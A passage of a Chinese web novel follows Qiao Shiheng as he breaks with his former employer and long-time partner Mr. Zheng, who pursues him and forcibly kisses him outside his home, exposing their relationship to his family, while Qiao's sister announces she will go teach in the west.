乔施珩不知道自己是怎么了，好像仍然有一股思绪在拉扯他，想要他回头看看他，看看他的狼狈，但另一股思绪却又将他大力扯回，警告他不要再回头了，他应该决绝。 在失去了对他的容忍度后，他很轻易就能够做到不回头。 但是这个夜晚他还是失眠了。 比起对感情的悼念，对过去的懊悔，他更多的却是对未来的茫然。 很神奇，他这个时候竟然会为了未来而辗转反侧，夜不能寐。 所以他又拿起了手机，却意外看到一条热搜推送。 学校终于发了调查结果，说明教授只和某学生存在不正常师生关系，其他被牵扯进来的人都是无辜的。 乔施文的传闻再次被翻出来炒，网络上什么声音都有，有为她喊冤的，也有认为她小三的事情就是真的 乔施珩觉得讽刺，他才找过郑先生，这结果就被发出了出来，还真是很巧呢。 他起床，打开门，走到乔施文卧室门前，就听到她的屋里传来隐约哭泣声。 乔施珩想了想，到底没推门进去。 有关调查结果的相关热搜到早上热度就消散了很多，乔施军和太芬仍然很高兴，尤其是太芬一早上就做好了丰盛的早餐。 乔施军拿了瓶酒出来，“小文，你大哥我跟你道歉，责备你太早了。” “马后炮你就行。”太芬把他的酒收了，“一早上喝什么酒，回头还有正事呢。” “对对。”乔施军想起来问：“阿珩，咱们这预算，能找得到像样的门面吗？” “应该可以。”乔施珩把婷婷的辫子扎好，“我回头找蒙久问问，他有门路。” 乔施文换了个新闻台，把遥控器往沙发上一扔，“我今天要回学校一趟，夜里收到通知了。” “你们学校也是够忙。”乔施军问她：“那你这事不影响你找工作了吧？那个阿珩，郑” 乔施珩打断他：“事情才结束，工作的事情急什么，让大家都缓缓。”他想到：“我还得请潘以佳吃饭呢，她也是为这个事情操心。” “那这样吧，你找个时间把她叫到家里来吃顿饭。”乔施军又做起美梦：“我看那孩子就好，能力那么强，配你还能配不过吗？” 太芬把馒头塞他嘴里，“吃你的，就是废话多。” 乔施珩倒是觉得不错，“可以啊，反正她每周都回来，找个周五晚上吧。” 乔施文跟着乔施军一起诧异：“真的假的？你想通了？” “来家里吃顿饭而已，邻里邻居吃顿饭怎么了？”太芬拉开凳子坐下，“你们就少说点这个事，阿珩自己有主意呢。” 乔施军虽然嘴上抱怨几句，但到底也没说什么，就叮嘱太芬得多买点菜。 乔施珩本来约好了要去蒙久的店里吃饭，恰好杜慧慧也要约他，索性他就带着杜慧慧一起去了蒙久的店里。 “我跟你说，我都快不想干了。”杜慧慧指着自己的手机，“你知道我忙到看到八卦里的主角名字跟你就差一个字的时候，都没想起来她可能跟你有关系。我光顾着写稿子跑宣传了。” “没事。”乔施珩看她确实瘦了，“这么忙吗？” “我是真不想干了。”杜慧慧摆手，她很无奈，“我一定会考走的，我都把扔掉的书买回来了。” 乔施珩羡慕她：“这么忙还有精力学习，很厉害了。” “厉害什么呀。”她忍不住抱怨，“要不是当初郑先生把我给调走，我还在金石区逍遥”她意识到自己说漏嘴了，立刻看向乔施珩，而乔施珩也在看她—— 作者有话说：最近都会有点忙，大家也可以囤点再看[求求你了] 第53章 “有什么事吗？” “你别这么看我，我也是前阵子跟我们这边大领导出去吃饭听他说起才知道。”杜慧慧倒是不觉得有什么，她很乐观，“再说了，他只是把我挪到了隔壁区，也没把我发配到偏僻的地方。况且，你都跟他断了，我还提起来干什么，我都没当回事。” 乔施珩虽然知道杜慧慧不会介意，也知道她很乐观，但他仍然觉得抱歉，“抱歉，如果你没在南湖区，也不会这么忙。” “没事，没事。”杜慧慧很大方，只是她认为：“当时我和你走得比较近，他就把我挪走了，那证明他还是有危机感的，现在估计肠子都悔青了吧。” 又愤恨地补了一句，“渣男就该遭到报应。” 蒙久把串上上来，“什么渣男？你遇到渣男了？” 来的时候已经互相介绍过了，杜慧慧倒是岔开了话题，“这怎么还麻烦老板亲自上菜。” “你们可是贵宾，我必须得亲自服务。”蒙久坐下来，问乔施珩：“前阵子那新闻我看了，视频我也看了，虽然你被打码了，但是我也看出来了，想着你可能太烦了，就没找你过来。” 三个人就乔施文的事情讨论了半天。蒙久知道的事情比杜慧慧要少，所以他们也没有再就郑先生的事情聊下去。反而是乔施珩需要问他一些关于店租的事情。 蒙久确实有门路，答应找朋友帮他在另一个距离他们家近一些的玉海小区后街租个很小的店面，一年的店租不会很贵。 “不过店面确实不大，你们做串串的不需要留人堂食，所以也不需要太大的店面。” “那实在太感谢了。” “小事，咱们都认识多少年了。”蒙久说完这个话，又忽然唉声叹气起来。 “怎么了？有什么烦心的事情？” “女朋友不愿意跟我到这边生活，我想着在她那边也开个这样的店，店面已经在装修了，以后大概率要两头跑，或者我就干脆去她那边发展了。” 杜慧慧惊叹：“你入赘啦？” “没有，就是觉得她跟我过来肯定有顾虑，不如我过去。” “你是什么绝世好男人，这天下的男人要是都像你这样，还愁什么结婚率上不去。”杜慧慧又奇怪：“你妈能同意吗？” “没事，他们都比较开明。” 乔施珩问他：“大概什么时候能开业？” “暂时没定好，不过装修好了应该也就快了，现在主要是我其实不知道能不能忙得过来。”蒙久犯愁，“虽然我父母没表示反对，但是他们年纪也大了，我过去又怕照顾不了他们，真是家家有本难念的经。” “那你招个店长帮你开店不就不行了。”杜慧慧给他出主意，“你就当幕后老板，出钱收钱就行，活儿别人干呗。” “有道理。”蒙久举起饮料，“来来来，喝一杯。” 杜慧慧虽然真的不介意自己被调走这件事情，但送乔施珩回家的时候还是特意强调了一下，怕乔施珩会因为这件事情心中不痛快。“我今天说漏嘴那个事情，你真的别介意，我现在忙是忙了点，但工资高啊。”她担忧，“你可不要去找郑先生了，既然断了就断了最好。” 乔施珩知道杜慧慧在宽他的心，可他确实也对她感到抱歉，如果没有自己这回事，她还在金石区的大楼里安安心心办公，没这么多事情要忙了。他其实还是想去找郑先生的，想让他把杜慧慧调回去，但他也知道郑先生有一套自己的说辞。 乔施文这件事情淡下去之后，她每天都要往外跑。 “又干什么去了？”乔施军看着她一筷子没动的粥，“拿个馒头就跑，不知道的还以为她是什么集团大总裁，忙成这样。” “爸爸，集团大总裁才不会吃馒头呢！” “吃你的饭。” 乔施珩想：“可能去找工作了吧。” “那店面的事情整好了吗？”乔施军问他：“什么时候能过去开业？” “定金交了，蒙久说这几天就能签合同。” 太芬过来坐下，“我听说玉海小区是个非常大的小区，不过也有些年头了。他们小区后面要规划一个大型商场，到时候人流量不会差。”她很满意，“离咱们家也不远，我那三轮车推不过去，得把东西都拿过去，我早点过去做。” 这件事情解决的同时，陈新的仓库也恢复了常态。 陈新说要请大家吃饭，结果这回去的人多，三桌都差点不够坐。乔施珩以为人多终于不用喝酒，没想到人多这酒就喝得越多，连陈新说不喝他们都不让，就不用说乔施珩了。 喝到一半，外面下起了大雨，有些员工就提前走了。 本来乔施珩也要先溜，被宋来他们拉着又喝了一会儿。 一桌子的酒鬼，一个能开车的都没有。乔施珩本来想叫个车，拿起手机按了几下都没按对APP，他觉得自己眼花手也抖，一个不留神，来了电话，接听键倒是让他按对了。 手机里露出冯昭的鸡窝头来，他瘫痪在床，看到这边喝醉的乔施珩后，他坐起来，“搁哪儿浪呢？” “聚餐呢。”乔施珩有点大舌头，“没事挂了。” 冯昭找他一般不会有什么正事，于是他就要挂电话，那边冯昭立即说：“在哪呢？我有天大的事情要找你。” “你能有什么天大的事情。” “真的我发誓，你看我没事我都懒得找你。” “那你说，你现在就说。” 乔施珩说着，宋来凑过来，“跟谁视频呢？你弟啊？” “哪来的黑猩猩……”冯昭捂住嘴，问他：“兄弟，你们在哪儿喝酒呢？” 宋来嘴里不把门，“雨华街三山大酒店。” 那边冯昭火速挂断了视频。 喝到最后，大家都东倒西歪，陈新更是喝高了，路都走不了，典师傅几个人把他扶上车送回去。乔施珩从卫生间出来，只剩宋来在门口等女朋友来接，也是到这个时候乔施珩才见到他的女朋友，一个很朴实的女孩子。 “你还能回去吗？我看你走路都歪。”宋来好心，“我们把你先送回去。” 宋来女朋友开的车小巧粉嫩，乔施珩才准备上车，后面就传来喇叭声，接着冯昭车都没熄火就下车跑过来，“往哪儿去呢？我要来晚了一步可真就扑空了。” 宋来怔了一下，“你弟啊？” “小乔哥，真有天大的事情。”冯昭撑着伞，把他拽过来，往自己车跟前带，“走走走，容我向你汇报。” 乔施珩跟着他上了车，结果车开出去没多久，他就要吐，而冯昭还在絮絮叨叨不知道在说什么，他已经听不清了，他拍了半天的车窗，最后全吐在了他的车上。 冯昭：“……” 乔施珩倒是想体验一把断片的感觉，但他却一点片都没断，甚至还能记得冯昭最后把他拖下车的时候他还吐了冯昭一身，气得冯昭把伞都扔了。 他翻了个身，看到婷婷正在他的床前看着他，“怎么了婷婷？” “叔叔，楼下有人找你，我妈妈让我来喊你。” 乔施珩素着一张脸下楼，看到冯昭坐在客厅里，正在跟乔施文说什么事情，看到他下来，冯昭立即说：“小乔哥，中午出去吃啊，当你还我洗车钱了。”他又招呼乔施文，“你也去。” 乔施文很嫌弃他，“你洗个车的钱还找人要啊，我不去，我忙着呢。” “你忙什么啊？我不是说了你要想找工作就跟我说吗？这样，我回去给你找个好岗位。” “你少操心啊。”乔施文抓着包起来，“走了。” 冯昭看她穿着简约，做事也利索，不禁皱起眉，“小乔哥你还别说，乔施文这是真转性了。” 乔施珩去卫生间洗漱，抽个空出来问他：“想吃什么？” “这么爽快啊？我还以为你要跟我推三阻四。”冯昭认真想了想，就听到旁边婷婷提示他：“吃猪骨鸡排面。” 冯昭看向这个扎了两个马尾辫的小女孩，问她：“你想吃猪骨鸡排面吗？” 婷婷点点头。 “那就这个，你们也去。” 于是，乔施珩带着三个孩子去了最近一家商场里吃面。 “你昨天不是说有事儿要说？” 冯昭吸溜完面，“我马上要有舅妈了，你现在看清我舅真面目了吧？” “没意思。”乔施珩烦他总是提盛逸则，“没话说就不要说，吃面。” “为什么啊？我舅喜欢你这谁看不出来，你不是拒绝他了吗？”冯昭想当然：“所以他准备给我找个舅妈，和他一起来气我。” 倒是轩轩瞪大了眼睛，“你舅舅喜欢谁呀？” 冯昭差点让面噎死，“我舅他是个女的，他喜欢你叔叔。” “你舅舅为什么是女的？” 冯昭瞎话随口就来，“他前几年去泰国变性了，就是从男的变成了女的。” 乔施珩听不下去，打断了他们，“别听他瞎说，他开玩笑的。” 吃完饭，冯昭不想走，要带轩轩和婷婷逛商场，一路上不管轩轩和婷婷要不要，只要他看中就必须买，气得乔施珩跟他拧半天。 “我有钱怎么了？我就想送他们，不要钱的东西你都不要。” “不要就是不要。” 轩轩也说：“哥哥，叔叔说不能白拿别人的东西。” 几人争论半天，忽然乔施珩顿住了，他的前方，一家儿童服装店的门口，站着的人竟然是郑先生。 他似乎是一个人，而且显然已经看了他们有一段时间了。 乔施珩移开目光，“走吧，回去吧。” 但还没走出去几步，郑祉桓已经追了过来，“乔施珩！” 冯昭比乔施珩先转头，他盯着郑祉桓看了半天，才想起他是谁，但没等他说话，郑祉桓就先开口，“乔施珩。” 冯昭差点翻白眼，“大叔，你有事就说，光喊人有什么用？” 乔施珩转身看他，“有什么事吗？” 郑祉桓看了他半天，不知道该怎么说，又或者碍于这里有别人，有些话他不能说，最终他解释：“森森要过生日，这家服装店有他喜欢的鸭子服装，我抽空来看看。” 乔施珩点点头，“那挺巧的。” 冯昭的视线在两人之间来回倒腾，“寒暄完了？那走吧。” 乔施珩走出很远，拐了个弯，看到郑先生还是之前的样子，站在那里看着他。 下了电梯他们到了停车场，冯昭忘记了车停在哪里，到处去找车，乔施珩就站在原地带着轩轩和婷婷等他。 接着他就看到对面的电梯间里，郑先生夹在几个人之间走了出来，他在停车场四处张望，似乎在找人，接着，他的目光透过不停进出的车辆与他对上。 他穿过车辆走到他面前。 “乔施珩，我们谈谈。” 第54章 “先生，不是我轻视了这…… 乔施珩看了看身前的轩轩和婷婷，他确实想跟他谈谈杜慧慧的事情。所以冯昭车开过来的时候，他让轩轩和婷婷先上车，自己留下来。但冯昭显然不认同他的做法，他也不管车停的不是地方，下车后甩上车门走过来，他看向郑祉桓，“你们什么关系？” 乔施珩急忙挡在冯昭身前，“之前你见过，我前老板，我们有些” 冯昭低头看他：“你前男友是不是？” 不止乔施珩，就连一边的郑祉桓都是一怔，比起乔施珩的无措，郑祉桓的眼神却逐渐清明起来。 “你别想什么主意糊弄我。”冯昭抬眼去看郑祉桓，话却是对着乔施珩说：“我舅舅是什么人我知道，他可不会搞直掰弯那套。” 郑祉桓倒是嗤笑一声：“年纪不大，管得倒是多。与其在这里充大人，不如替你叔叔想想出路。”他压下眉眼，“还是你以为你舅舅能从你叔叔的事情中摘干净？” 冯昭咬紧后槽牙，“你这个” 乔施珩按住他的胳膊，“别冲动，他讲话就是难听。” 轩轩和婷婷还在车里，乔施珩不想让他们等着，况且冯昭跟郑先生之间也不和谐，于是他安抚冯昭，“你先把轩轩和婷婷送回家。” 冯昭压下他的手腕，抬手反握他的胳膊，“分手的话你还有什么必要理会他的纠缠？一起回去。” 郑祉桓没动，他只是冷眼看着冯昭。 “我确实有事想要跟他谈谈。”乔施珩拍拍他的胳膊，“没事，你们先走。” 冯昭心有不甘，但看乔施珩似乎真的有事，他恨恨扫了眼郑祉桓，转身上车了。 等冯昭的车走远了，乔施珩才抬脚往电梯的方向走。 郑祉桓跟在他的后面，“去哪儿？” 乔施珩没答话，直到他再一次提高声音问他：“去哪儿？” “难道你要在这地下停车场跟我谈吗？” 他的声音有些大，言语也不客气，充满了不耐烦，甚至他说完就意识到自己语气不合适，但郑祉桓却意外地笑了。见惯了他面无表情的样子，胸有成竹的样子，运筹帷幄的样子，最近也偶尔见到了他的茫然无措，惊慌无助乔施珩此刻听到他笑声清亮，竟觉得他好像没那么遥远、缥缈了。 他们进了电梯，到了负一层，乔施珩找了个甜品小店的角落坐了下来。 郑祉桓今日穿着休闲，但仍然有些成熟，与这粉嫩的甜品店格格不入，甚至这里的桌椅板凳也被他的身形衬得格外小巧。 乔施珩顺手帮他点了一杯和自己一样的饮料，他知道他不喝。 “不在我手底下做事，胆子也变大了，和我说话这么不客气。” 乔施珩不理会他这些话，“之前你在金石区的时候，把杜慧慧给调去了南湖区？” 郑祉桓脸色倒是没变，只是眼中笑意消散了一些，“是正常的人事调动，只是人是我定下来的。” 也就是说有这个事情，但他在几个人选之中选择了杜慧慧。 “是因为她和我的绯闻吗？” “不全是。”郑祉桓转着桌上那杯饮料，让它在桌上来回小幅度滑动。“第一次见你和一位女性朋友走得那么近，当然我明白，你们没有其他关系。” “如果正常选择，能选到她吗？” “人选由ZX部定，并不排除这种可能。” 乔施珩想到他刚刚说冯昭的话，“那冯昭的叔叔又是怎么回事？” “前阵子的事情闹那么大，他叔叔也牵扯其中，不过如果自身没有问题，是牵扯不进去的。”郑祉桓敲桌子，神情自然切换到平时的那种端着的姿态来，“所以盛逸则现在应该也没什么时间来纠缠你，他的麻烦可不算小。” 乔施珩不知道还应该说什么了，这些人和事，其实他了解得都不太多。他只是不明白，“你这样做有什么意思呢？把杜慧慧调走，让她很难适应现在的工作节奏，一直很忙。又去找陈新的麻烦，弄出这些乱七八糟的事情来，你只需要签个字，点个头，示个意，你都没有想过别人的感受。” 郑祉桓又敲了敲桌子，他眉眼紧蹙的时候就会显得很严肃，“首先，我可以告诉你，我有针对的成分，但契机不在我。其次，所有事情都是建立在正常工作状态的结果之上，我个人在其中所起到的作用有限。最后，我错判了你的决心，我不想跟你从此相别。” 他的话终于软了下来，带了一些可能他自己都没有察觉的恳求，“别和我从此陌路。” “为什么？”乔施珩无意识握紧了手中的饮料杯，“为什么总是想要我回去？” “我从来就没有想过你会走。”郑祉桓很不能理解，“我不会再选择结婚，也不会再有乱七八糟的人，就只有我们两个人一起生活，我们不是一直这样吗？” “我说了，我们不是一直这样。”乔施珩不再妥协也不再忍耐，“就算你不结婚，没有那些乱七八糟的人，你和我也已经走到尽头了。我早就说过了，我们不会一辈子这样，这世界上不会有两个人，能将雇佣关系保持一辈子，也不会有两个人，能做p友做一辈子。” 他这番话显然又在郑祉桓的理解范围之外，“这些年在你看来，就只是雇佣关系，甚至于你认为我们之间是这样不堪的关系？” 乔施珩在这瞬间几乎就要被愤怒控制了理智。他自以为从不在意的那些轻慢、忽视，都在这个时间点汹涌，那些他刻意隐藏起来的记忆，下定决心要封存的往事都在被他一遍又一遍自我催眠，自我和解之后的这个时候翻腾。他不明白，为什么到了现在郑先生还可以认为是他乔施珩轻视了这段关系。 没人比乔施珩更在意这段关系，也没人能知道乔施珩为了维持这段关系付出了多少，隐忍了多少，他自觉卑微不敢逾越，是他的错。可当他放弃后，这位高高在上的郑先生却反过来指责他，是他定义错了这段关系。 这世界上最没资格指责他的人，就是眼前这一位。 可他这些汹涌翻腾的情绪，又都被他压制住了。 他已经不想再说起这些。 “先生，你但凡尊重我一些，都不可能说出这样的话。你看我，永远是俯视的，在你的视角里，我与你从不平等。我应该跟随你，因为你付了我薪水，这是雇佣关系。薪水超出一般价格，多出来的是我为你提供超出雇佣关系之外的其他关系所得到的报酬。” “已经很多年，没涨过价了。” “先生，不是我轻视了这段关系，而是我们之间，就是这种关系。” 出了商场，乔施珩从商场后面的街道转进了一条人流量不多的巷道之中，这里两边的店面都装修得很有特色，风景也不错，最主要的是距离公交车站台近。他的目光落在玻璃窗里那些精致的木艺手工摆件上，最终落在一个木质小帆船上，那小帆船上站着个小女孩，颇有乘风破浪的意味。他想，如果送给乔施文，应该会很合适。 买完摆件出来，就看到郑先生等在店的前面。 乔施珩想转头往另一边走，却轻易被他追上。 “乔施珩，我没有不尊重你，我也不认为我们之间是这种不堪的关系。”他解释：“我之所以后来做这些让你感到讨厌的事情，是我不相信你真的会不需要我，我不知道怎么办你才会回来，你才能够回来。” 比起他，乔施珩冷静很多。 “抱歉先生，我已经一而再再而三地说过，我不会回去了。你这样纠缠，不像你的风格。而且，你想找什么样的人都会有，不用执着让我回去。” “我不想找别人，我也没有别人。”郑祉桓深吸一口气，像是鼓起了极大的勇气，“乔施珩，我们交往。” 乔施珩有一瞬间的怔愣。 “我们不是那种不堪的关系，我也不希望你把它定义成这样的关系。”他显得有些苦恼，无意识示弱：“我不知道交往应该是怎么样，也没有想过这个问题，但是和你的话，我觉得没关系。所以，我们交往。” 乔施珩真是懂了那句，人无语的时候，真的会笑。 “先生，别做这些可笑的事情了，该说的话我也已经都说完了。以后别再做过分事情，给别人找麻烦。我可以忍受不公平的对待，但我不能忍受别人因为我而遭受不必要的麻烦。” 拿着这个昂贵的摆件回到家，轩轩正在一边拼乐高，而婷婷则在一边画画，显然这些新东西，都是冯昭买的。 “冯叔叔呢？” 这时乔施文从楼上下来，“我回来了，所以他走了。” “这个送给你，希望你以后也能够一直勇敢，做乘风破浪的小女孩。”乔施珩把摆件递给她。 乔施文很高兴，她抱着摆件拍了很多照片，甚至还宣布：“晚上我亲自下厨，正好也有事要告诉你们。” “什么事儿？喜事吗？”乔施珩以为她找到了新工作。 “反正是好事！” 正巧这个时候潘以佳给他发信息，问他在不在家，说自己家超市西瓜卖不完，要给他拿点。 “那晚上我把潘以佳也叫来，可就看你手艺了啊。” “没问题，我还能不会做饭不成。” 乔施文会做饭，但做个饭总是丢三落四，一会儿酱油找不着，一会儿醋找不着，都要乔施珩跟在旁边打下手。 “大嫂说她串儿都卖完了，今天周末人多，提前关店回来，下次多备点。”乔施文一边炒菜一边说：“生意这么好，回头得让大哥多喝两杯。” “你火关小点，烧焦了。” “哎呀哥你别老指手画脚。”她翻了翻调料瓶，“没味精了，哥你快跑去王圆家超市买点，她姨妈来帮她家看店的。” 乔施珩被她支出去买味精。 王圆家超市里果然坐着个四五十岁的阿姨，乔施珩想了想还是问：“王圆什么时候能回来看店？”他是想问问看她家情况好不好。 “估计快了，最迟也就再过一个周。”阿姨笑呵呵问他：“认识圆圆啊？” “住这附近，经常来。” 寒暄几句，乔施珩拿着味精离店回家。 只是他没想到，还会在自己家门口看到郑先生，明明自己刚刚去超市的时候，没有碰到他。那可能就是他在店里的时候郑先生正巧过去了。 对他这种纠缠，乔施珩很反感，明明该说的都说了。 走近了，才发现他喝酒了，而且看起来喝得还不少。 见到乔施珩，他却没有急着说什么。 乔施珩也不想跟他说什么，一时间两人站着，谁也没有说话。 直到郑祉桓莫名其妙笑起来，“乔施珩，我发现你真的很厉害。你没了我，日子也可以过得不错。” 乔施珩不知道他想说什么，但看起来，他似乎真的有点喝醉了。 “我在求你。我那么求你。”他走过来，脚步却并不虚浮，“我说我们交往，你都无动于衷。你还想我怎么样？我应该怎么样？我能做的都做了。” “先生，你别这样，给彼此都留一点余地。” “余地？”他像是听到了什么笑话，“你给我留余地了吗？” “我犯错，我死刑。”他凑近乔施珩：“我从来都不知道，你心这么狠。” 他双手按住乔施珩的肩，“不是我，以后你是不是就会有别人？” “先生，你别这样了。” “回答我！” 乔施珩退无可退，郑先生几乎是与他鼻尖对鼻尖，这样的距离让他觉得窒息，而郑先生声调很高，带有一定的压迫性，但他还是推拒，“发什么酒疯，我以后怎么样跟你没有关系了！” “没关系？”郑祉桓的双手捧住他的脸，“别说这样的话，阿珩。”他的声音阴沉：“很危险。” 乔施珩觉得压抑，他一只手搭在他的肩上，想推开他。但他推不开，也挣脱不了他的钳制，他觉得自己的脸颊已经充血了，连说话都有些说不清楚，而郑祉桓也没有给他说话的机会。 他亲吻他。 而同时，他口袋里的手机在震动，而不远处也传来什么东西掉在地上的声音。 乔施珩几乎是用尽全力推开了他，而在那瞬间，他的大脑一片空白。 家门口，乔施文拿着铲子在院门前看着他们，而另一边乔施军手中拎着的袋子掉在了地上，太芬站在他的旁边，而太芬的旁边还站着潘以佳。 灯光太暗了，乔施珩看不清他们的表情。 只有郑祉桓身体前倾，他看着乔施珩，脸色阴暗。 “糟糕，秘密被发现了。”—— 作者有话说：[小丑]怎么写都不满意，就这样了[小丑]反正我也是l奔[愤怒]我就摆烂！我不摆纯烂[愤怒][爆哭]（发疯）[爆哭] 第55章 “对不起，我也不想事情…… 接着，他低声笑起来，这笑声只有他和乔施珩能听到，“怎么办啊乔施珩？”他伸出手指摩挲乔施珩的唇，却被乔施珩抓住，乔施珩也说不清自己这瞬间的感受，太多种情绪混杂了，有被迫被发现这段关系的恐慌，有对眼前这个始作俑者的愤怒，也有对即将到来的别人看他眼光的担忧，还有这件事情曝光后他内心深处的一种羞耻感难以形容。 可事情已经发生了，他在这个时候只能在心里一遍一遍暗示自己冷静。 “太可笑了。”乔施珩松开他的手，“我只是个普通人，这段关系曝光又怎么样？无非被人责备，指点，议论，那又怎么样？” 他一反常态，逼近了郑祉桓几步，“可你不一样，你不是我这样一无所有的普通人。” 他带有一定程度的威胁，郑祉桓却仍然是低笑，“你也知道我不是一无所有的普通人。”他这点低笑声很快就消失了，阴森地重复：“你也知道我不是一无所有的普通人。” “我所走的每一步，都是我权衡后认为是当下可以选择的，最好的一步。我也不希望你一直跟着我在各个偏远的地方辗转，那太枯燥了，但是回来后很多事会脱离我的掌控。” “我没有绝对的话语权，我还没有做到那个地步，拥有话语权的也不可能是一个人，而是一群人，你能明白吗？” “很多话，解释起来苍白，并不具有可信度，所以在做的时候我就已经做好了永远不会解释的准备。” “我一直坚定地认为你会选择我，无论是怎样的我。” “我也没想过对你做什么狠心的事情，借着契机做的那点事，也是不希望与你再没什么瓜葛。我总是希望你能来找我，我总是抱有一丝希望。” “我做了我能做到的所有事情，但在你看来，所有的事情都是可笑的。” “是，我或许可笑。但我就罪该万死吗？” “我们在一起十年，不是十天，十个月。如果我人品低劣，心术不正，我该死，那我没什么好说。可你为什么这么狠心” 郑祉桓顿了顿，仍然选择了说出来，“不管我怎么挽留，你都不在乎。你离开我，你可以有很多朋友，有各种人围在你身边，可我没有别人了。” 他的气势突然弱了下来，像是那憋着的一口气终于倾泻完成，“我就只有你。” 乔施珩的言语哽在喉头，爱这个字太奢侈了，他是个胆小鬼，他不敢问，也已经放弃了。他以为他走出了乌龟壳，可走到头来，他发现他还是困在了这龟壳之中。连天的大雨淹没了他这只慢吞吞的乌龟，连这可怜的龟壳里也浸满了雨水，几乎将他溺毙。 乔施珩明白，他们两个人之间不可能谈出什么结果，就算继续在一起，也只会重蹈覆辙。 一个不敢，一个不懂，他们根本不合适。 而自己，在失去拥有感情的可能性后，连这可怜的最后一点自尊都没能留下，被迫对最亲近的人暴露隐私，这原本，是他最害怕的事情。 寂静的客厅里，还留有饭菜的香味，可此刻却没人关心那逐渐冷掉的饭菜。 乔施珩站在茶几边，不知道该怎么解释。就连乔施文也依旧是拿着炒菜的铲子低头坐着，不知道想了些什么。 太芬将轩轩和婷婷送上楼，挪着不方便的腿走下来，在沙发的扶手上半坐着。 在这诡异的静默中，乔施军忽然按着自己的脸扇起来，这突如其来的巴掌声惊了几人，太芬和乔施文几乎同时扑过去，一人按住他一只胳膊。 “大哥，你干什么？” “孩儿他爸，干什么你！” 乔施军在扇完自己后，仰面嚎啕大哭。这个一辈子困在市井的小民，没什么眼界，也没有学问，拿着点残疾补贴，被人戳了半辈子脊梁骨，说他靠弟弟生活。没人在他面前说，他就当不知道，该打麻将打麻将，该下棋就去下棋，照样能搬着个小板凳混入邻里邻居之间，该占的便宜要占，不该占的便宜也会想点办法去占，家里的活从来不伸手，却总是背个手想当一把大哥。 装聋作哑半辈子过去了，此刻却哭得撕心裂肺，捶胸顿足，他不停地问怎么会这样，怎么会这样。 乔施珩茫然地站着，脑海中一片空白。 他想起多年前那天半夜他收拾东西时，乔施军也是坐在这个位置唉声叹气，一边说不希望他去，一边又叮嘱他自己在外面要注意安全。第二天早上，他瘸着腿，把他送到巷子口，塞给他五百块钱，告诉他要是不想干了就回家。 “哥，对不起。”乔施珩想说什么，又不知道说什么，反而在这瞬间他不可抑制地红了眼眶，他觉得整个人都被一种泛酸的感觉淹没了，几乎就要克制不住。 “是我对不起你，是我对不起你啊。” 太芬皱着眉，“都已经这样了，你这么个样子又有什么用呢？再说阿珩不是已经辞职了。” 乔施文跟着附和：“是啊，大哥，没那么糟糕，再说了，现在这个社会已经很宽容了，只是你不知道而已。” 乔施军仍然无法抽离这种情绪，甚至到最后竟呼吸不上来，弄得大家手足无措，好不容易才缓过来。 他缓过来以后，平复了一会儿，指着乔施珩问：“是他逼你的吗？他有权有势，是不是逼你了？” 乔施珩愣愣站着，他知道自己说不了假话，到了这个时候，他已经没有隐瞒的必要了。 “是我自己愿意的。” 乔施军指着他：“你，你” “他说他要调去别的地方工作，让我不要干了。我不想离开他，所以我选择跟他走了。” 乔施军的点着他的手终于无力垂下，他几乎是咬牙切齿：“所以这些年，你们都是这种见不得人的关系？” “是。”乔施珩声音没什么起伏，他尽力克制，让自己显得平稳，“但是回到云海省以后，这种关系就逐渐消亡了。后来回到了申市，我也不想跟他再保持这种关系了，所以辞职了。” “你真是真是糊涂啊！”乔施军重重叹了口气。 接着，他们又陷入了诡异的寂静之中，没人再说话了。 乔施珩只得主动打破这静谧，“对不起，我也不想事情变成这样。” “没事的阿珩，你不想干了就辞职，郑先生也是有头有脸的人物，不会一直来打扰你。”太芬犹豫了一下，“我们外人也不好评判你们之间的事情，有些主意你得自己拿，我们相信你能处理好。” “是啊，哥。”乔施文站起来，“现在社会多宽容啊，这点事算什么，别以为我们都是老古板，我可不会对你有什么不好的看法，以后你交别的男朋友，我帮你看，我火眼金睛。”她掂了掂做饭的勺子，“我看那冯昭就很可疑。”她凑近乔施珩问他：“快说，他是不是在追你？” 太芬听她这么说，有些诧异：“就是那个高高瘦瘦的男孩子吗？他是不是有点小了？” 乔施军听着窝火，“行了，你们还讨论上了，这饭我是吃不下，你们谁爱吃谁吃！” “你不吃拉倒，我还有重要事情想宣布来着！” 刚站起来的乔施军又坐下了，“你现在就说，只要你不说你喜欢女生，什么都能答应你。” 太芬和乔施文都笑起来。 这样的气氛，极大地缓解了乔施珩内心的不安与焦虑。但不知道是不是还没适应这种变化，他仍然觉得心像是悬在空中，落不下地。 饭菜已经凉了，太芬又去热了一遍。给楼上的小朋友们单独盛了一份，让乔施文送上去。 剩下的端上桌，但其实几个人也没有动筷子的欲望，尤其是乔施珩，根本吃不下。 倒是乔施文吃得很香，她清了清嗓子，“我现在要宣布重大决定了。” 乔施军显然想得跟乔施珩一样，他不紧不慢：“找到什么好工作了？还用得上宣布。” “我呢？首先要检讨一下我自己。”乔施文点了点乔施军，“当然，检讨我自己，大哥你也得反思一下你自己。” “现在还流行这种家庭会议吗？”乔施军不耐烦，“你就算当上和平村村长，也不至于整这么大阵仗，你快说。” “你这种态度就是个大问题，我自我检讨之前要先批评一下你。” “这些年我二哥为了挣钱不在家，大哥其实你也不怎么管事情，我学校开家长会你不是这里疼就是那里疼，反正你不去，我买什么问你意见你从来只会说好，我穿什么你也都说好，有一回我染指甲染头发，你夸我好看，结果回学校就被班主任勒令染回去。” “好在磕磕绊绊，也都过来了。”乔施文重重叹口气，像是终于释怀，“我呢？知道我没那个富贵命，也受到了报应，这都是我应得的我无话可说。所以，我想接下来的日子，做点有意义的事情挽救一下我的命数。” 乔施珩皱起眉头。 “我联系了美丽ZG，通过他们到西部Z教，暂时是先去两年，其他的就等两年以后再说吧。” 她此言一出，乔施军第一个反对，“你现在大好时候，跑去那么远的地方，这怎么能行？万一再让人G去大山里！” 太芬也比较犹豫，“你想好了？” 这也是乔施珩想问的。 “想好了啊，我很清醒啊，我深思熟虑绝对不是一时冲动。” 这顿饭，乔施军是注定吃不下去了，他起身朝卧室走去，重重关上了门。 太芬沉默着去收拾碗筷。 乔施文从茶几下摸出零食来，却也只是把玩着零食袋，没撕开口。 “为什么做这样的决定？”乔施珩还是想问，这确实在他意料之外。 “还能为什么。”乔施文苦笑，“我说真的呢，我命真不好，很多人都会投机取巧，很多人都能成功，毫无代价，可我却不行。投机取巧是不对，但你不觉得我差点运气吗？我要去补运啊。” “而且我也看淡了，什么情情爱爱的，没意思。不如做一些有意义的事情，这样下辈子遇到这种事情的话，我说不定就能飞上枝头变凤凰啦！” 